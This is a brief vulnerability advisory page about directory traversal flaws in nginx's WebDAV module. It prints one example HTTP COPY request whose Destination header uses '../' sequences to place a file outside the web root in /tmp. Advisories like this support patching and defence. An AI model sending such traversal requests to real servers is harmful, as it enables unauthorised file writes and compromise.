• info
• discussion
• exploit
• solution
• references

nginx WebDAV Multiple Directory Traversal Vulnerabilities

Attackers can use a browser to exploit these issues.

The following example request is available:

COPY /index.html HTTP/1.1
Host: localhost
Destination: http://www.example.com/../../../../../../../tmp/nginx.html